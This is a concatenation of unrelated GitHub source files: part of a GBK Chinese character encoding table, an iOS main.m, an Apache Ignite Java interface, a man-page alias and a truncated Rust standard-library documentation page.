["cc40","藹藺藼藽藾蘀",4,"蘆",10,"蘒蘓蘔蘕蘗",15,"蘨蘪",13,"蘹蘺蘻蘽蘾蘿虀"],
["cc80","虁",11,"虒虓處",4,"虛虜虝號虠虡虣",7,"獭挞蹋踏胎苔抬台泰酞太态汰坍摊贪瘫滩坛檀痰潭谭谈坦毯袒碳探叹炭汤塘搪堂棠膛唐糖倘躺淌趟烫掏涛滔绦萄桃逃淘陶讨套特藤腾疼誊梯剔踢锑提题蹄啼体替嚏惕涕剃屉天添填田甜恬舔腆挑条迢眺跳贴铁帖厅听烃"],
["cd40","虭虯虰虲",6,"蚃",6,"蚎",4,"蚔蚖",5,"蚞",4,"蚥蚦蚫蚭蚮蚲蚳蚷蚸蚹蚻",4,"蛁蛂蛃蛅蛈蛌蛍蛒蛓蛕蛖蛗蛚蛜"],
["cd80","蛝蛠蛡蛢蛣蛥蛦蛧蛨蛪蛫蛬蛯蛵蛶蛷蛺蛻蛼蛽蛿蜁蜄蜅蜆蜋蜌蜎蜏蜐蜑蜔蜖汀廷停亭庭挺艇通桐酮瞳同铜彤童桶捅筒统痛偷投头透凸秃突图徒途涂屠土吐兔湍团推颓腿蜕褪退吞屯臀拖托脱鸵陀驮驼椭妥拓唾挖哇蛙洼娃瓦袜歪外豌弯湾玩顽丸烷完碗挽晚皖惋宛婉万腕汪王亡枉网往旺望忘妄威"],
["ce40","蜙蜛蜝蜟蜠蜤蜦蜧蜨蜪蜫蜬蜭蜯蜰蜲蜳蜵蜶蜸蜹蜺蜼蜽蝀",6,"蝊蝋蝍蝏蝐蝑蝒蝔蝕蝖蝘蝚",5,"蝡蝢蝦",7,"蝯蝱蝲蝳蝵"],
["ce80","蝷蝸蝹蝺蝿螀螁螄螆螇螉螊螌螎",4,"螔螕螖螘",6,"螠",4,"巍微危韦违桅围唯惟为潍维苇萎委伟伪尾纬未蔚味畏胃喂魏位渭谓尉慰卫瘟温蚊文闻纹吻稳紊问嗡翁瓮挝蜗涡窝我斡卧握沃巫呜钨乌污诬屋无芜梧吾吴毋武五捂午舞伍侮坞戊雾晤物勿务悟误昔熙析西硒矽晰嘻吸锡牺"],
["cf40","螥螦螧螩螪螮螰螱螲螴螶螷螸螹螻螼螾螿蟁",4,"蟇蟈蟉蟌",4,"蟔",6,"蟜蟝蟞蟟蟡蟢蟣蟤蟦蟧蟨蟩蟫蟬蟭蟯",9],
["cf80","蟺蟻蟼蟽蟿蠀蠁蠂蠄",5,"蠋",7,"蠔蠗蠘蠙蠚蠜",4,"蠣稀息希悉膝夕惜熄烯溪汐犀檄袭席习媳喜铣洗系隙戏细瞎虾匣霞辖暇峡侠狭下厦夏吓掀锨先仙鲜纤咸贤衔舷闲涎弦嫌显险现献县腺馅羡宪陷限线相厢镶香箱襄湘乡翔祥详想响享项巷橡像向象萧硝霄削哮嚣销消宵淆晓"],
["d040","蠤",13,"蠳",5,"蠺蠻蠽蠾蠿衁衂衃衆",5,"衎",5,"衕衖衘衚",6,"衦衧衪衭衯衱衳衴衵衶衸衹衺"],
["d080","衻衼袀袃袆袇袉袊袌袎袏袐袑袓袔袕袗",4,"袝",4,"袣袥",5,"小孝校肖啸笑效楔些歇蝎鞋协挟携邪斜胁谐写械卸蟹懈泄泻谢屑薪芯锌欣辛新忻心信衅星腥猩惺兴刑型形邢行醒幸杏性姓兄凶胸匈汹雄熊休修羞朽嗅锈秀袖绣墟戌需虚嘘须徐许蓄酗叙旭序畜恤絮婿绪续轩喧宣悬旋玄"],
["d140","袬袮袯袰袲",4,"袸袹袺袻袽袾袿裀裃裄裇裈裊裋裌裍裏裐裑裓裖裗裚",4,"裠裡裦裧裩",6,"裲裵裶裷裺裻製裿褀褁褃",5],
["d180","褉褋",4,"褑褔",4,"褜",4,"褢褣褤褦褧褨褩褬褭褮褯褱褲褳褵褷选癣眩绚靴薛学穴雪血勋熏循旬询寻驯巡殉汛训讯逊迅压押鸦鸭呀丫芽牙蚜崖衙涯雅哑亚讶焉咽阉烟淹盐严研蜒岩延言颜阎炎沿奄掩眼衍演艳堰燕厌砚雁唁彦焰宴谚验殃央鸯秧杨扬佯疡羊洋阳氧仰痒养样漾邀腰妖瑶"],
["d240","褸",8,"襂襃襅",24,"襠",5,"襧",19,"襼"],
["d280","襽襾覀覂覄覅覇",26,"摇尧遥窑谣姚咬舀药要耀椰噎耶爷野冶也页掖业叶曳腋夜液一壹医揖铱依伊衣颐夷遗移仪胰疑沂宜姨彝椅蚁倚已乙矣以艺抑易邑屹亿役臆逸肄疫亦裔意毅忆义益溢诣议谊译异翼翌绎茵荫因殷音阴姻吟银淫寅饮尹引隐"],
["d340","覢",30,"觃觍觓觔觕觗觘觙觛觝觟觠觡觢觤觧觨觩觪觬觭觮觰觱觲觴",6],
["d380","觻",4,"訁",5,"計",21,"印英樱婴鹰应缨莹萤营荧蝇迎赢盈影颖硬映哟拥佣臃痈庸雍踊蛹咏泳涌永恿勇用幽优悠忧尤由邮铀犹油游酉有友右佑釉诱又幼迂淤于盂榆虞愚舆余俞逾鱼愉渝渔隅予娱雨与屿禹宇语羽玉域芋郁吁遇喻峪御愈欲狱育誉"],
["d440","訞",31,"訿",8,"詉",21],
["d480","詟",25,"詺",6,"浴寓裕预豫驭鸳渊冤元垣袁原援辕园员圆猿源缘远苑愿怨院曰约越跃钥岳粤月悦阅耘云郧匀陨允运蕴酝晕韵孕匝砸杂栽哉灾宰载再在咱攒暂赞赃脏葬遭糟凿藻枣早澡蚤躁噪造皂灶燥责择则泽贼怎增憎曾赠扎喳渣札轧"],
["d540","誁",7,"誋",7,"誔",46],
["d580","諃",32,"铡闸眨栅榨咋乍炸诈摘斋宅窄债寨瞻毡詹粘沾盏斩辗崭展蘸栈占战站湛绽樟章彰漳张掌涨杖丈帐账仗胀瘴障招昭找沼赵照罩兆肇召遮折哲蛰辙者锗蔗这浙珍斟真甄砧臻贞针侦枕疹诊震振镇阵蒸挣睁征狰争怔整拯正政"],
["d640","諤",34,"謈",27],
["d680","謤謥謧",30,"帧症郑证芝枝支吱蜘知肢脂汁之织职直植殖执值侄址指止趾只旨纸志挚掷至致置帜峙制智秩稚质炙痔滞治窒中盅忠钟衷终种肿重仲众舟周州洲诌粥轴肘帚咒皱宙昼骤珠株蛛朱猪诸诛逐竹烛煮拄瞩嘱主著柱助蛀贮铸筑"],
["d740","譆",31,"譧",4,"譭",25],
["d780","讇",24,"讬讱讻诇诐诪谉谞住注祝驻抓爪拽专砖转撰赚篆桩庄装妆撞壮状椎锥追赘坠缀谆准捉拙卓桌琢茁酌啄着灼浊兹咨资姿滋淄孜紫仔籽滓子自渍字鬃棕踪宗综总纵邹走奏揍租足卒族祖诅阻组钻纂嘴醉最罪尊遵昨左佐柞做作坐座"],
["d840","谸",8,"豂豃豄豅豈豊豋豍",7,"豖豗豘豙豛",5,"豣",6,"豬",6,"豴豵豶豷豻",6,"貃貄貆貇"],
["d880","貈貋貍",6,"貕貖貗貙",20,"亍丌兀丐廿卅丕亘丞鬲孬噩丨禺丿匕乇夭爻卮氐囟胤馗毓睾鼗丶亟鼐乜乩亓芈孛啬嘏仄厍厝厣厥厮靥赝匚叵匦匮匾赜卦卣刂刈刎刭刳刿剀剌剞剡剜蒯剽劂劁劐劓冂罔亻仃仉仂仨仡仫仞伛仳伢佤仵伥伧伉伫佞佧攸佚佝"],
["d940","貮",62],
["d980","賭",32,"佟佗伲伽佶佴侑侉侃侏佾佻侪佼侬侔俦俨俪俅俚俣俜俑俟俸倩偌俳倬倏倮倭俾倜倌倥倨偾偃偕偈偎偬偻傥傧傩傺僖儆僭僬僦僮儇儋仝氽佘佥俎龠汆籴兮巽黉馘冁夔勹匍訇匐凫夙兕亠兖亳衮袤亵脔裒禀嬴蠃羸冫冱冽冼"],
["da40","贎",14,"贠赑赒赗赟赥赨赩赪赬赮赯赱赲赸",8,"趂趃趆趇趈趉趌",4,"趒趓趕",9,"趠趡"],
["da80","趢趤",12,"趲趶趷趹趻趽跀跁跂跅跇跈跉跊跍跐跒跓跔凇冖冢冥讠讦讧讪讴讵讷诂诃诋诏诎诒诓诔诖诘诙诜诟诠诤诨诩诮诰诳诶诹诼诿谀谂谄谇谌谏谑谒谔谕谖谙谛谘谝谟谠谡谥谧谪谫谮谯谲谳谵谶卩卺阝阢阡阱阪阽阼陂陉陔陟陧陬陲陴隈隍隗隰邗邛邝邙邬邡邴邳邶邺"],
["db40","跕跘跙跜跠跡跢跥跦跧跩跭跮跰跱跲跴跶跼跾",6,"踆踇踈踋踍踎踐踑踒踓踕",7,"踠踡踤",4,"踫踭踰踲踳踴踶踷踸踻踼踾"],
["db80","踿蹃蹅蹆蹌",4,"蹓",5,"蹚",11,"蹧蹨蹪蹫蹮蹱邸邰郏郅邾郐郄郇郓郦郢郜郗郛郫郯郾鄄鄢鄞鄣鄱鄯鄹酃酆刍奂劢劬劭劾哿勐勖勰叟燮矍廴凵凼鬯厶弁畚巯坌垩垡塾墼壅壑圩圬圪圳圹圮圯坜圻坂坩垅坫垆坼坻坨坭坶坳垭垤垌垲埏垧垴垓垠埕埘埚埙埒垸埴埯埸埤埝"],
["dc40","蹳蹵蹷",4,"蹽蹾躀躂躃躄躆躈",6,"躑躒躓躕",6,"躝躟",11,"躭躮躰躱躳",6,"躻",7],
["dc80","軃",10,"軏",21,"堋堍埽埭堀堞堙塄堠塥塬墁墉墚墀馨鼙懿艹艽艿芏芊芨芄芎芑芗芙芫芸芾芰苈苊苣芘芷芮苋苌苁芩芴芡芪芟苄苎芤苡茉苷苤茏茇苜苴苒苘茌苻苓茑茚茆茔茕苠苕茜荑荛荜茈莒茼茴茱莛荞茯荏荇荃荟荀茗荠茭茺茳荦荥"],
["dd40","軥",62],
["dd80","輤",32,"荨茛荩荬荪荭荮莰荸莳莴莠莪莓莜莅荼莶莩荽莸荻莘莞莨莺莼菁萁菥菘堇萘萋菝菽菖萜萸萑萆菔菟萏萃菸菹菪菅菀萦菰菡葜葑葚葙葳蒇蒈葺蒉葸萼葆葩葶蒌蒎萱葭蓁蓍蓐蓦蒽蓓蓊蒿蒺蓠蒡蒹蒴蒗蓥蓣蔌甍蔸蓰蔹蔟蔺"],
["de40","轅",32,"轪辀辌辒辝辠辡辢辤辥辦辧辪辬辭辮辯農辳辴辵辷辸辺辻込辿迀迃迆"],
["de80","迉",4,"迏迒迖迗迚迠迡迣迧迬迯迱迲迴迵迶迺迻迼迾迿逇逈逌逎逓逕逘蕖蔻蓿蓼蕙蕈蕨蕤蕞蕺瞢蕃蕲蕻薤薨薇薏蕹薮薜薅薹薷薰藓藁藜藿蘧蘅蘩蘖蘼廾弈夼奁耷奕奚奘匏尢尥尬尴扌扪抟抻拊拚拗拮挢拶挹捋捃掭揶捱捺掎掴捭掬掊捩掮掼揲揸揠揿揄揞揎摒揆掾摅摁搋搛搠搌搦搡摞撄摭撖"],
["df40","這逜連逤逥逧",5,"逰",4,"逷逹逺逽逿遀遃遅遆遈",4,"過達違遖遙遚遜",5,"遤遦遧適遪遫遬遯",4,"遶",6,"遾邁"],
["df80","還邅邆邇邉邊邌",4,"邒邔邖邘邚邜邞邟邠邤邥邧邨邩邫邭邲邷邼邽邿郀摺撷撸撙撺擀擐擗擤擢攉攥攮弋忒甙弑卟叱叽叩叨叻吒吖吆呋呒呓呔呖呃吡呗呙吣吲咂咔呷呱呤咚咛咄呶呦咝哐咭哂咴哒咧咦哓哔呲咣哕咻咿哌哙哚哜咩咪咤哝哏哞唛哧唠哽唔哳唢唣唏唑唧唪啧喏喵啉啭啁啕唿啐唼"],
["e040","郂郃郆郈郉郋郌郍郒郔郕郖郘郙郚郞郟郠郣郤郥郩郪郬郮郰郱郲郳郵郶郷郹郺郻郼郿鄀鄁鄃鄅",19,"鄚鄛鄜"],
["e080","鄝鄟鄠鄡鄤",10,"鄰鄲",6,"鄺",8,"酄唷啖啵啶啷唳唰啜喋嗒喃喱喹喈喁喟啾嗖喑啻嗟喽喾喔喙嗪嗷嗉嘟嗑嗫嗬嗔嗦嗝嗄嗯嗥嗲嗳嗌嗍嗨嗵嗤辔嘞嘈嘌嘁嘤嘣嗾嘀嘧嘭噘嘹噗嘬噍噢噙噜噌噔嚆噤噱噫噻噼嚅嚓嚯囔囗囝囡囵囫囹囿圄圊圉圜帏帙帔帑帱帻帼"],
["e140","酅酇酈酑酓酔酕酖酘酙酛酜酟酠酦酧酨酫酭酳酺酻酼醀",4,"醆醈醊醎醏醓",6,"醜",5,"醤",5,"醫醬醰醱醲醳醶醷醸醹醻"],
["e180","醼",10,"釈釋釐釒",9,"針",8,"帷幄幔幛幞幡岌屺岍岐岖岈岘岙岑岚岜岵岢岽岬岫岱岣峁岷峄峒峤峋峥崂崃崧崦崮崤崞崆崛嵘崾崴崽嵬嵛嵯嵝嵫嵋嵊嵩嵴嶂嶙嶝豳嶷巅彳彷徂徇徉後徕徙徜徨徭徵徼衢彡犭犰犴犷犸狃狁狎狍狒狨狯狩狲狴狷猁狳猃狺"],
["e240","釦",62],
["e280","鈥",32,"狻猗猓猡猊猞猝猕猢猹猥猬猸猱獐獍獗獠獬獯獾舛夥飧夤夂饣饧",5,"饴饷饽馀馄馇馊馍馐馑馓馔馕庀庑庋庖庥庠庹庵庾庳赓廒廑廛廨廪膺忄忉忖忏怃忮怄忡忤忾怅怆忪忭忸怙怵怦怛怏怍怩怫怊怿怡恸恹恻恺恂"],
["e340","鉆",45,"鉵",16],
["e380","銆",7,"銏",24,"恪恽悖悚悭悝悃悒悌悛惬悻悱惝惘惆惚悴愠愦愕愣惴愀愎愫慊慵憬憔憧憷懔懵忝隳闩闫闱闳闵闶闼闾阃阄阆阈阊阋阌阍阏阒阕阖阗阙阚丬爿戕氵汔汜汊沣沅沐沔沌汨汩汴汶沆沩泐泔沭泷泸泱泗沲泠泖泺泫泮沱泓泯泾"],
["e440","銨",5,"銯",24,"鋉",31],
["e480","鋩",32,"洹洧洌浃浈洇洄洙洎洫浍洮洵洚浏浒浔洳涑浯涞涠浞涓涔浜浠浼浣渚淇淅淞渎涿淠渑淦淝淙渖涫渌涮渫湮湎湫溲湟溆湓湔渲渥湄滟溱溘滠漭滢溥溧溽溻溷滗溴滏溏滂溟潢潆潇漤漕滹漯漶潋潴漪漉漩澉澍澌潸潲潼潺濑"],
["e540","錊",51,"錿",10],
["e580","鍊",31,"鍫濉澧澹澶濂濡濮濞濠濯瀚瀣瀛瀹瀵灏灞宀宄宕宓宥宸甯骞搴寤寮褰寰蹇謇辶迓迕迥迮迤迩迦迳迨逅逄逋逦逑逍逖逡逵逶逭逯遄遑遒遐遨遘遢遛暹遴遽邂邈邃邋彐彗彖彘尻咫屐屙孱屣屦羼弪弩弭艴弼鬻屮妁妃妍妩妪妣"],
["e640","鍬",34,"鎐",27],
["e680","鎬",29,"鏋鏌鏍妗姊妫妞妤姒妲妯姗妾娅娆姝娈姣姘姹娌娉娲娴娑娣娓婀婧婊婕娼婢婵胬媪媛婷婺媾嫫媲嫒嫔媸嫠嫣嫱嫖嫦嫘嫜嬉嬗嬖嬲嬷孀尕尜孚孥孳孑孓孢驵驷驸驺驿驽骀骁骅骈骊骐骒骓骖骘骛骜骝骟骠骢骣骥骧纟纡纣纥纨纩"],
["e740","鏎",7,"鏗",54],
["e780","鐎",32,"纭纰纾绀绁绂绉绋绌绐绔绗绛绠绡绨绫绮绯绱绲缍绶绺绻绾缁缂缃缇缈缋缌缏缑缒缗缙缜缛缟缡",6,"缪缫缬缭缯",4,"缵幺畿巛甾邕玎玑玮玢玟珏珂珑玷玳珀珉珈珥珙顼琊珩珧珞玺珲琏琪瑛琦琥琨琰琮琬"],
["e840","鐯",14,"鐿",43,"鑬鑭鑮鑯"],
["e880","鑰",20,"钑钖钘铇铏铓铔铚铦铻锜锠琛琚瑁瑜瑗瑕瑙瑷瑭瑾璜璎璀璁璇璋璞璨璩璐璧瓒璺韪韫韬杌杓杞杈杩枥枇杪杳枘枧杵枨枞枭枋杷杼柰栉柘栊柩枰栌柙枵柚枳柝栀柃枸柢栎柁柽栲栳桠桡桎桢桄桤梃栝桕桦桁桧桀栾桊桉栩梵梏桴桷梓桫棂楮棼椟椠棹"],
["e940","锧锳锽镃镈镋镕镚镠镮镴镵長",7,"門",42],
["e980","閫",32,"椤棰椋椁楗棣椐楱椹楠楂楝榄楫榀榘楸椴槌榇榈槎榉楦楣楹榛榧榻榫榭槔榱槁槊槟榕槠榍槿樯槭樗樘橥槲橄樾檠橐橛樵檎橹樽樨橘橼檑檐檩檗檫猷獒殁殂殇殄殒殓殍殚殛殡殪轫轭轱轲轳轵轶轸轷轹轺轼轾辁辂辄辇辋"],
["ea40","闌",27,"闬闿阇阓阘阛阞阠阣",6,"阫阬阭阯阰阷阸阹阺阾陁陃陊陎陏陑陒陓陖陗"],
["ea80","陘陙陚陜陝陞陠陣陥陦陫陭",4,"陳陸",12,"隇隉隊辍辎辏辘辚軎戋戗戛戟戢戡戥戤戬臧瓯瓴瓿甏甑甓攴旮旯旰昊昙杲昃昕昀炅曷昝昴昱昶昵耆晟晔晁晏晖晡晗晷暄暌暧暝暾曛曜曦曩贲贳贶贻贽赀赅赆赈赉赇赍赕赙觇觊觋觌觎觏觐觑牮犟牝牦牯牾牿犄犋犍犏犒挈挲掰"],
["eb40","隌階隑隒隓隕隖隚際隝",9,"隨",7,"隱隲隴隵隷隸隺隻隿雂雃雈雊雋雐雑雓雔雖",9,"雡",6,"雫"],
["eb80","雬雭雮雰雱雲雴雵雸雺電雼雽雿霂霃霅霊霋霌霐霑霒霔霕霗",4,"霝霟霠搿擘耄毪毳毽毵毹氅氇氆氍氕氘氙氚氡氩氤氪氲攵敕敫牍牒牖爰虢刖肟肜肓肼朊肽肱肫肭肴肷胧胨胩胪胛胂胄胙胍胗朐胝胫胱胴胭脍脎胲胼朕脒豚脶脞脬脘脲腈腌腓腴腙腚腱腠腩腼腽腭腧塍媵膈膂膑滕膣膪臌朦臊膻"],
["ec40","霡",8,"霫霬霮霯霱霳",4,"霺霻霼霽霿",18,"靔靕靗靘靚靜靝靟靣靤靦靧靨靪",7],
["ec80","靲靵靷",4,"靽",7,"鞆",4,"鞌鞎鞏鞐鞓鞕鞖鞗鞙",4,"臁膦欤欷欹歃歆歙飑飒飓飕飙飚殳彀毂觳斐齑斓於旆旄旃旌旎旒旖炀炜炖炝炻烀炷炫炱烨烊焐焓焖焯焱煳煜煨煅煲煊煸煺熘熳熵熨熠燠燔燧燹爝爨灬焘煦熹戾戽扃扈扉礻祀祆祉祛祜祓祚祢祗祠祯祧祺禅禊禚禧禳忑忐"],
["ed40","鞞鞟鞡鞢鞤",6,"鞬鞮鞰鞱鞳鞵",46],
["ed80","韤韥韨韮",4,"韴韷",23,"怼恝恚恧恁恙恣悫愆愍慝憩憝懋懑戆肀聿沓泶淼矶矸砀砉砗砘砑斫砭砜砝砹砺砻砟砼砥砬砣砩硎硭硖硗砦硐硇硌硪碛碓碚碇碜碡碣碲碹碥磔磙磉磬磲礅磴礓礤礞礴龛黹黻黼盱眄眍盹眇眈眚眢眙眭眦眵眸睐睑睇睃睚睨"],
["ee40","頏",62],
["ee80","顎",32,"睢睥睿瞍睽瞀瞌瞑瞟瞠瞰瞵瞽町畀畎畋畈畛畲畹疃罘罡罟詈罨罴罱罹羁罾盍盥蠲钅钆钇钋钊钌钍钏钐钔钗钕钚钛钜钣钤钫钪钭钬钯钰钲钴钶",4,"钼钽钿铄铈",6,"铐铑铒铕铖铗铙铘铛铞铟铠铢铤铥铧铨铪"],
["ef40","顯",5,"颋颎颒颕颙颣風",37,"飏飐飔飖飗飛飜飝飠",4],
["ef80","飥飦飩",30,"铩铫铮铯铳铴铵铷铹铼铽铿锃锂锆锇锉锊锍锎锏锒",4,"锘锛锝锞锟锢锪锫锩锬锱锲锴锶锷锸锼锾锿镂锵镄镅镆镉镌镎镏镒镓镔镖镗镘镙镛镞镟镝镡镢镤",8,"镯镱镲镳锺矧矬雉秕秭秣秫稆嵇稃稂稞稔"],
["f040","餈",4,"餎餏餑",28,"餯",26],
["f080","饊",9,"饖",12,"饤饦饳饸饹饻饾馂馃馉稹稷穑黏馥穰皈皎皓皙皤瓞瓠甬鸠鸢鸨",4,"鸲鸱鸶鸸鸷鸹鸺鸾鹁鹂鹄鹆鹇鹈鹉鹋鹌鹎鹑鹕鹗鹚鹛鹜鹞鹣鹦",6,"鹱鹭鹳疒疔疖疠疝疬疣疳疴疸痄疱疰痃痂痖痍痣痨痦痤痫痧瘃痱痼痿瘐瘀瘅瘌瘗瘊瘥瘘瘕瘙"],
["f140","馌馎馚",10,"馦馧馩",47],
["f180","駙",32,"瘛瘼瘢瘠癀瘭瘰瘿瘵癃瘾瘳癍癞癔癜癖癫癯翊竦穸穹窀窆窈窕窦窠窬窨窭窳衤衩衲衽衿袂袢裆袷袼裉裢裎裣裥裱褚裼裨裾裰褡褙褓褛褊褴褫褶襁襦襻疋胥皲皴矜耒耔耖耜耠耢耥耦耧耩耨耱耋耵聃聆聍聒聩聱覃顸颀颃"],
["f240","駺",62],
["f280","騹",32,"颉颌颍颏颔颚颛颞颟颡颢颥颦虍虔虬虮虿虺虼虻蚨蚍蚋蚬蚝蚧蚣蚪蚓蚩蚶蛄蚵蛎蚰蚺蚱蚯蛉蛏蚴蛩蛱蛲蛭蛳蛐蜓蛞蛴蛟蛘蛑蜃蜇蛸蜈蜊蜍蜉蜣蜻蜞蜥蜮蜚蜾蝈蜴蜱蜩蜷蜿螂蜢蝽蝾蝻蝠蝰蝌蝮螋蝓蝣蝼蝤蝙蝥螓螯螨蟒"],
["f340","驚",17,"驲骃骉骍骎骔骕骙骦骩",6,"骲骳骴骵骹骻骽骾骿髃髄髆",4,"髍髎髏髐髒體髕髖髗髙髚髛髜"],
["f380","髝髞髠髢髣髤髥髧髨髩髪髬髮髰",8,"髺髼",6,"鬄鬅鬆蟆螈螅螭螗螃螫蟥螬螵螳蟋蟓螽蟑蟀蟊蟛蟪蟠蟮蠖蠓蟾蠊蠛蠡蠹蠼缶罂罄罅舐竺竽笈笃笄笕笊笫笏筇笸笪笙笮笱笠笥笤笳笾笞筘筚筅筵筌筝筠筮筻筢筲筱箐箦箧箸箬箝箨箅箪箜箢箫箴篑篁篌篝篚篥篦篪簌篾篼簏簖簋"],
["f440","鬇鬉",5,"鬐鬑鬒鬔",10,"鬠鬡鬢鬤",10,"鬰鬱鬳",7,"鬽鬾鬿魀魆魊魋魌魎魐魒魓魕",5],
["f480","魛",32,"簟簪簦簸籁籀臾舁舂舄臬衄舡舢舣舭舯舨舫舸舻舳舴舾艄艉艋艏艚艟艨衾袅袈裘裟襞羝羟羧羯羰羲籼敉粑粝粜粞粢粲粼粽糁糇糌糍糈糅糗糨艮暨羿翎翕翥翡翦翩翮翳糸絷綦綮繇纛麸麴赳趄趔趑趱赧赭豇豉酊酐酎酏酤"],
["f540","魼",62],
["f580","鮻",32,"酢酡酰酩酯酽酾酲酴酹醌醅醐醍醑醢醣醪醭醮醯醵醴醺豕鹾趸跫踅蹙蹩趵趿趼趺跄跖跗跚跞跎跏跛跆跬跷跸跣跹跻跤踉跽踔踝踟踬踮踣踯踺蹀踹踵踽踱蹉蹁蹂蹑蹒蹊蹰蹶蹼蹯蹴躅躏躔躐躜躞豸貂貊貅貘貔斛觖觞觚觜"],
["f640","鯜",62],
["f680","鰛",32,"觥觫觯訾謦靓雩雳雯霆霁霈霏霎霪霭霰霾龀龃龅",5,"龌黾鼋鼍隹隼隽雎雒瞿雠銎銮鋈錾鍪鏊鎏鐾鑫鱿鲂鲅鲆鲇鲈稣鲋鲎鲐鲑鲒鲔鲕鲚鲛鲞",5,"鲥",4,"鲫鲭鲮鲰",7,"鲺鲻鲼鲽鳄鳅鳆鳇鳊鳋"],
["f740","鰼",62],
["f780","鱻鱽鱾鲀鲃鲄鲉鲊鲌鲏鲓鲖鲗鲘鲙鲝鲪鲬鲯鲹鲾",4,"鳈鳉鳑鳒鳚鳛鳠鳡鳌",4,"鳓鳔鳕鳗鳘鳙鳜鳝鳟鳢靼鞅鞑鞒鞔鞯鞫鞣鞲鞴骱骰骷鹘骶骺骼髁髀髅髂髋髌髑魅魃魇魉魈魍魑飨餍餮饕饔髟髡髦髯髫髻髭髹鬈鬏鬓鬟鬣麽麾縻麂麇麈麋麒鏖麝麟黛黜黝黠黟黢黩黧黥黪黯鼢鼬鼯鼹鼷鼽鼾齄"],
["f840","鳣",62],
["f880","鴢",32],
["f940","鵃",62],
["f980","鶂",32],
["fa40","鶣",62],
["fa80","鷢",32],
["fb40","鸃",27,"鸤鸧鸮鸰鸴鸻鸼鹀鹍鹐鹒鹓鹔鹖鹙鹝鹟鹠鹡鹢鹥鹮鹯鹲鹴",9,"麀"],
["fb80","麁麃麄麅麆麉麊麌",5,"麔",8,"麞麠",5,"麧麨麩麪"],
["fc40","麫",8,"麵麶麷麹麺麼麿",4,"黅黆黇黈黊黋黌黐黒黓黕黖黗黙黚點黡黣黤黦黨黫黬黭黮黰",8,"黺黽黿",6],
["fc80","鼆",4,"鼌鼏鼑鼒鼔鼕鼖鼘鼚",5,"鼡鼣",8,"鼭鼮鼰鼱"],
["fd40","鼲",4,"鼸鼺鼼鼿",4,"齅",10,"齒",38],
["fd80","齹",5,"龁龂龍",11,"龜龝龞龡",4,"郎凉秊裏隣"],
["fe40","兀嗀﨎﨏﨑﨓﨔礼﨟蘒﨡﨣﨤﨧﨨﨩"]
]
| {
"pile_set_name": "Github"
} |
//
// main.m
// MobileProject
//
// Created by wujunyang on 16/1/5.
// Copyright © 2016年 wujunyang. All rights reserved.
//
#import <UIKit/UIKit.h>
#import "AppDelegate.h"
#import "UIViewController+Swizzle.h"
int main(int argc, char * argv[]) {
@autoreleasepool {
return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
}
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.ignite.internal.cluster;
import java.util.UUID;
import org.apache.ignite.cluster.ClusterGroup;
/**
* Internal projection interface.
*/
public interface ClusterGroupEx extends ClusterGroup {
/**
* Creates projection for specified subject ID.
*
* @param subjId Subject ID.
* @return Cluster group.
*/
public ClusterGroupEx forSubjectId(UUID subjId);
/**
* @param cacheName Cache name.
* @param affNodes Flag to include affinity nodes.
* @param nearNodes Flag to include near nodes.
* @param clientNodes Flag to include client nodes.
* @return Cluster group.
*/
public ClusterGroup forCacheNodes(String cacheName, boolean affNodes, boolean nearNodes, boolean clientNodes);
}
| {
"pile_set_name": "Github"
} |
.so man3/mkstemp.3
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `PermissionsExt` trait in crate `std`.">
<meta name="keywords" content="rust, rustlang, rust-lang, PermissionsExt">
<title>std::os::unix::fs::PermissionsExt - Rust</title>
<link rel="stylesheet" type="text/css" href="../../../../rustdoc.css">
<link rel="stylesheet" type="text/css" href="../../../../main.css">
<link rel="shortcut icon" href="https://doc.rust-lang.org/favicon.ico">
</head>
<body class="rustdoc">
<!--[if lte IE 8]>
<div class="warning">
This old browser is unsupported and will most likely display funky
things.
</div>
<![endif]-->
<nav class="sidebar">
<a href='../../../../std/index.html'><img src='https://www.rust-lang.org/logos/rust-logo-128x128-blk-v2.png' alt='' width='100'></a>
<p class='location'><a href='../../../index.html'>std</a>::<wbr><a href='../../index.html'>os</a>::<wbr><a href='../index.html'>unix</a>::<wbr><a href='index.html'>fs</a></p><script>window.sidebarCurrent = {name: 'PermissionsExt', ty: 'trait', relpath: ''};</script><script defer src="sidebar-items.js"></script>
</nav>
<nav class="sub">
<form class="search-form js-only">
<div class="search-container">
<input class="search-input" name="search"
autocomplete="off"
placeholder="Click or press ‘S’ to search, ‘?’ for more options…"
type="search">
</div>
</form>
</nav>
<section id='main' class="content trait">
<h1 class='fqn'><span class='in-band'>Trait <a href='../../../index.html'>std</a>::<wbr><a href='../../index.html'>os</a>::<wbr><a href='../index.html'>unix</a>::<wbr><a href='index.html'>fs</a>::<wbr><a class='trait' href=''>PermissionsExt</a></span><span class='out-of-band'><span id='render-detail'>
<a id="toggle-all-docs" href="javascript:void(0)" title="collapse all docs">
[<span class='inner'>−</span>]
</a>
</span><a id='src-12089' class='srclink' href='../../../../src/std/sys/unix/ext/fs.rs.html#66-80' title='goto source code'>[src]</a></span></h1>
<pre class='rust trait'>pub trait PermissionsExt {
fn <a href='#tymethod.mode' class='fnname'>mode</a>(&self) -> <a class='type' href='../../../../std/os/linux/raw/type.mode_t.html' title='std::os::linux::raw::mode_t'>mode_t</a>;
fn <a href='#tymethod.set_mode' class='fnname'>set_mode</a>(&mut self, mode: <a class='type' href='../../../../std/os/linux/raw/type.mode_t.html' title='std::os::linux::raw::mode_t'>mode_t</a>);
fn <a href='#tymethod.from_mode' class='fnname'>from_mode</a>(mode: <a class='type' href='../../../../std/os/linux/raw/type.mode_t.html' title='std::os::linux::raw::mode_t'>mode_t</a>) -> Self;
}</pre><div class='docblock'><p>Unix-specific extensions to <code>Permissions</code></p>
</div>
